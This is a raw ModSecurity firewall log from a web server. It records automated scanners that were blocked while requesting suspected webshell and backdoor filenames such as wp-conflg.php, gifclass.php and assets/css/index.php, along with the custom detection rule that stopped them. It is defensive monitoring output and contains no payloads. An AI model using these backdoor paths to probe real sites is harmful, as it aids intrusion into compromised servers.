[Fri Feb 27 23:43:31.636779 2026] [:error] [pid 56075:tid 56101] [client 52.138.25.109:39736] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aaG7o8KBhrfI6KNv9Rh65wAAABc"]
[Fri Feb 27 23:43:32.051038 2026] [:error] [pid 54103:tid 54175] [client 52.138.25.109:39790] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaG7pOvG4MPCmE0B2sDV0gAAAMQ"]
[Fri Feb 27 23:43:32.464573 2026] [:error] [pid 49306:tid 49324] [client 52.138.25.109:39740] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaG7pPnSUDZue59Px9t-GAAAAVA"]
[Fri Feb 27 23:43:32.891250 2026] [:error] [pid 49306:tid 49308] [client 52.138.25.109:39734] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaG7pPnSUDZue59Px9t-GwAAAUA"]
[Fri Feb 27 23:43:33.328927 2026] [:error] [pid 54103:tid 54176] [client 52.138.25.109:39191] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaG7pevG4MPCmE0B2sDV0wAAAMU"]
[Fri Feb 27 23:43:33.783767 2026] [:error] [pid 54103:tid 54178] [client 52.138.25.109:39711] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "aaG7pevG4MPCmE0B2sDV1AAAAMc"]
[Fri Feb 27 23:43:34.203994 2026] [:error] [pid 49306:tid 49315] [client 52.138.25.109:39195] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "aaG7pvnSUDZue59Px9t-KgAAAUc"]
[Fri Feb 27 23:43:34.641139 2026] [:error] [pid 49306:tid 49311] [client 52.138.25.109:39690] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "aaG7pvnSUDZue59Px9t-KwAAAUM"]
[Fri Feb 27 23:43:35.081061 2026] [:error] [pid 52073:tid 52085] [client 52.138.25.109:39702] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mn.php"] [unique_id "aaG7p4a650YPyxXVeRbkCAAAAYk"]
[Fri Feb 27 23:43:35.514294 2026] [:error] [pid 54102:tid 54164] [client 52.138.25.109:39059] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaG7p3i74D4fiYUm_GeZUAAAAJQ"]
[Fri Feb 27 23:43:35.936571 2026] [:error] [pid 49306:tid 49320] [client 52.138.25.109:39907] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaG7p_nSUDZue59Px9t-NgAAAUw"]
[Fri Feb 27 23:43:36.361728 2026] [:error] [pid 62998:tid 63022] [client 52.138.25.109:39732] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaG7qFQeueXZDUmoLomTnAAAARQ"]
[Fri Feb 27 23:43:36.780179 2026] [:error] [pid 49306:tid 49326] [client 52.138.25.109:39177] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaG7qPnSUDZue59Px9t-OwAAAVI"]
[Fri Feb 27 23:43:37.194577 2026] [:error] [pid 62998:tid 63010] [client 52.138.25.109:39171] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aaG7qVQeueXZDUmoLomToQAAAQg"]
[Fri Feb 27 23:43:37.632161 2026] [:error] [pid 56075:tid 56084] [client 52.138.25.109:39046] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aaG7qcKBhrfI6KNv9Rh69gAAAAc"]
[Fri Feb 27 23:43:38.051821 2026] [:error] [pid 56075:tid 56097] [client 52.138.25.109:39041] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aaG7qsKBhrfI6KNv9Rh6-QAAABM"]
[Fri Feb 27 23:43:38.480673 2026] [:error] [pid 56075:tid 56081] [client 52.138.25.109:39207] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile.php"] [unique_id "aaG7qsKBhrfI6KNv9Rh6-wAAAAQ"]
[Fri Feb 27 23:43:38.890953 2026] [:error] [pid 49306:tid 49310] [client 52.138.25.109:39694] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7qvnSUDZue59Px9t-PAAAAUI"]
[Fri Feb 27 23:43:39.302268 2026] [:error] [pid 49306:tid 49314] [client 52.138.25.109:39185] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7q_nSUDZue59Px9t-PwAAAUY"]
[Fri Feb 27 23:43:39.715778 2026] [:error] [pid 62998:tid 63021] [client 52.138.25.109:39175] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aaG7q1QeueXZDUmoLomTpwAAARM"]
[Fri Feb 27 23:52:33.258206 2026] [:error] [pid 54231:tid 54258] [client 43.130.105.21:50028] [client 43.130.105.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaG9weTvb5AeyJCdY7BRhgAAAFg"]
[Sat Feb 28 00:53:02.891365 2026] [:error] [pid 38586:tid 38594] [client 20.220.221.45:20370] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHL7r_i6nvKNhjFW7UoAQAAAQU"]
[Sat Feb 28 00:53:03.310564 2026] [:error] [pid 38586:tid 38596] [client 20.220.221.45:20364] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHL77_i6nvKNhjFW7UoAgAAAQc"]
[Sat Feb 28 00:53:03.743471 2026] [:error] [pid 38586:tid 38592] [client 20.220.221.45:20460] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHL77_i6nvKNhjFW7UoBAAAAQM"]
[Sat Feb 28 00:53:04.168448 2026] [:error] [pid 38586:tid 38601] [client 20.220.221.45:20475] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaHL8L_i6nvKNhjFW7UoBwAAAQw"]
[Sat Feb 28 00:53:04.593789 2026] [:error] [pid 15100:tid 15165] [client 20.220.221.45:20445] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaHL8EOEbzcINan_ctK1uwAAAEU"]
[Sat Feb 28 00:53:05.022042 2026] [:error] [pid 15098:tid 15128] [client 20.220.221.45:20428] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaHL8ckFqny8dQQbmTkcvwAAAJY"]
[Sat Feb 28 00:53:05.439320 2026] [:error] [pid 15100:tid 15182] [client 20.220.221.45:20449] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaHL8UOEbzcINan_ctK1vwAAAFY"]
[Sat Feb 28 00:53:05.850203 2026] [:error] [pid 38620:tid 38643] [client 20.220.221.45:20431] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaHL8QP6I7SRqrhh7RrcPAAAAVU"]
[Sat Feb 28 00:53:06.273224 2026] [:error] [pid 15100:tid 15172] [client 20.220.221.45:20465] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaHL8kOEbzcINan_ctK1wQAAAEw"]
[Sat Feb 28 00:53:06.691947 2026] [:error] [pid 15099:tid 15144] [client 20.220.221.45:20353] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaHL8unvP2vtPjYDq_gsWAAAAMs"]
[Sat Feb 28 00:53:07.144150 2026] [:error] [pid 15098:tid 15115] [client 20.220.221.45:20289] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaHL88kFqny8dQQbmTkcwQAAAIk"]
[Sat Feb 28 00:53:07.563688 2026] [:error] [pid 15100:tid 15176] [client 20.220.221.45:20469] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaHL80OEbzcINan_ctK1wgAAAFA"]
[Sat Feb 28 00:53:07.976326 2026] [:error] [pid 15099:tid 15151] [client 20.220.221.45:20358] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaHL8-nvP2vtPjYDq_gsXgAAANI"]
[Sat Feb 28 00:53:08.418308 2026] [:error] [pid 15098:tid 15129] [client 20.220.221.45:20365] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaHL9MkFqny8dQQbmTkcwgAAAJc"]
[Sat Feb 28 00:53:08.830520 2026] [:error] [pid 15098:tid 15111] [client 20.220.221.45:20442] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaHL9MkFqny8dQQbmTkcxQAAAIU"]
[Sat Feb 28 00:53:09.245195 2026] [:error] [pid 15099:tid 15134] [client 20.220.221.45:20450] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaHL9envP2vtPjYDq_gsYgAAAME"]
[Sat Feb 28 00:53:09.655739 2026] [:error] [pid 38620:tid 38641] [client 20.220.221.45:20371] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaHL9QP6I7SRqrhh7RrcRAAAAVM"]
[Sat Feb 28 00:53:10.067220 2026] [:error] [pid 38586:tid 38595] [client 20.220.221.45:20443] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaHL9r_i6nvKNhjFW7UoGAAAAQY"]
[Sat Feb 28 00:53:10.479036 2026] [:error] [pid 38586:tid 38593] [client 20.220.221.45:20359] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaHL9r_i6nvKNhjFW7UoGgAAAQQ"]
[Sat Feb 28 00:53:10.889864 2026] [:error] [pid 38586:tid 38610] [client 20.220.221.45:20477] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaHL9r_i6nvKNhjFW7UoHwAAARU"]
[Sat Feb 28 00:53:11.301151 2026] [:error] [pid 38586:tid 38589] [client 20.220.221.45:20418] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaHL97_i6nvKNhjFW7UoIwAAAQA"]
[Sat Feb 28 00:53:11.722631 2026] [:error] [pid 15098:tid 15106] [client 20.220.221.45:20435] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaHL98kFqny8dQQbmTkcygAAAIE"]
[Sat Feb 28 00:53:12.139971 2026] [:error] [pid 15099:tid 15154] [client 20.220.221.45:20367] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaHL-OnvP2vtPjYDq_gsagAAANU"]
[Sat Feb 28 00:53:12.669566 2026] [:error] [pid 38620:tid 38642] [client 20.220.221.45:20466] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaHL-AP6I7SRqrhh7RrcSwAAAVQ"]
[Sat Feb 28 00:53:13.078721 2026] [:error] [pid 38586:tid 38611] [client 20.220.221.45:20366] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaHL-b_i6nvKNhjFW7UoJwAAARY"]
[Sat Feb 28 00:53:13.496470 2026] [:error] [pid 15100:tid 15174] [client 20.220.221.45:20354] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaHL-UOEbzcINan_ctK13gAAAE4"]
[Sat Feb 28 00:53:13.927582 2026] [:error] [pid 15240:tid 15262] [client 20.220.221.45:20360] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaHL-S1iKL_41Rk9A9NhyQAAABQ"]
[Sat Feb 28 00:53:14.356655 2026] [:error] [pid 15240:tid 15245] [client 20.220.221.45:20439] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaHL-i1iKL_41Rk9A9Nh0QAAAAM"]
[Sat Feb 28 00:58:53.700674 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43315] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHNTb_i6nvKNhjFW7Ur1gAAAQ0"]
[Sat Feb 28 00:58:54.113266 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43317] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHNTr_i6nvKNhjFW7Ur1wAAAQs"]
[Sat Feb 28 00:58:54.524304 2026] [:error] [pid 15099:tid 15155] [client 20.220.196.236:43297] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHNTunvP2vtPjYDq_gtwgAAANY"]
[Sat Feb 28 00:58:54.936609 2026] [:error] [pid 15098:tid 15126] [client 20.220.196.236:43987] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHNTskFqny8dQQbmTkdqAAAAJQ"]
[Sat Feb 28 00:58:55.358031 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43985] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aaHNTwP6I7SRqrhh7Rrg_wAAAUQ"]
[Sat Feb 28 00:58:55.767458 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:44006] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aaHNTwP6I7SRqrhh7RrhAAAAAUk"]
[Sat Feb 28 00:58:56.179963 2026] [:error] [pid 15240:tid 15258] [client 20.220.196.236:43326] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aaHNUC1iKL_41Rk9A9NkFQAAABA"]
